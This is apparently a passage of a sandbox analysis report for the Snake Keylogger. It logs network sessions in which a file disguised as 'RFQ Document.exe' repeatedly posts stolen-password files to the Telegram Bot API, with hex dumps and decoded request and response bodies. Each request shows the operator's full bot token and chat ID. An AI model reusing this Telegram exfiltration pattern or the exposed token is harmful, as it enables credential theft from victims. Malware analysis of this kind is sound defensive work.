Ascii: {"ok":true,"result":{"message_id":12771,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808752,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
183	192.168.2.4	50004	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:12 UTC	292	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255e104567b Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:12 UTC	293	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 31 30 34 35 36 37 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255e104567bContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:13 UTC	293	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:13 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:13 UTC	293	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 37 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 35 33 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12772,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808753,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
184	192.168.2.4	50005	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:13 UTC	294	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255e11dd96a Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:13 UTC	294	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 31 31 64 64 39 36 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255e11dd96aContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:13 UTC	295	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:13 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:13 UTC	295	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 37 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 35 33 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12773,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808753,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
185	192.168.2.4	50006	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:13 UTC	296	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255e13b2bab Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:13 UTC	296	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 31 33 62 32 62 61 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255e13b2babContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:13 UTC	296	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:13 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:13 UTC	297	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 37 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 35 33 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12774,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808753,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
186	192.168.2.4	50007	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:13 UTC	297	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255e1615165 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:13 UTC	298	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 31 36 31 35 31 36 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255e1615165Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:13 UTC	298	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:13 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:13 UTC	298	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 37 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 35 33 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12775,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808753,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
187	192.168.2.4	50008	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:13 UTC	299	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255e17defe5 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:13 UTC	299	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 31 37 64 65 66 65 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255e17defe5Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:13 UTC	300	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:13 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:13 UTC	300	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 37 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 35 33 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12776,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808753,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
188	192.168.2.4	50009	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:13 UTC	300	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255e195c4ed Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:13 UTC	301	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 31 39 35 63 34 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255e195c4edContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:14 UTC	301	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:14 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:14 UTC	302	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 37 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 35 34 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12778,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808754,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
189	192.168.2.4	50010	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:14 UTC	302	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255e1bbeaa3 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:14 UTC	302	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 31 62 62 65 61 61 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255e1bbeaa3Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:14 UTC	303	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:14 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:14 UTC	303	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 37 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 35 34 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12779,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808754,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.4	49793	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:24 UTC	30	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c414b3f2 Host: api.telegram.org Content-Length: 407
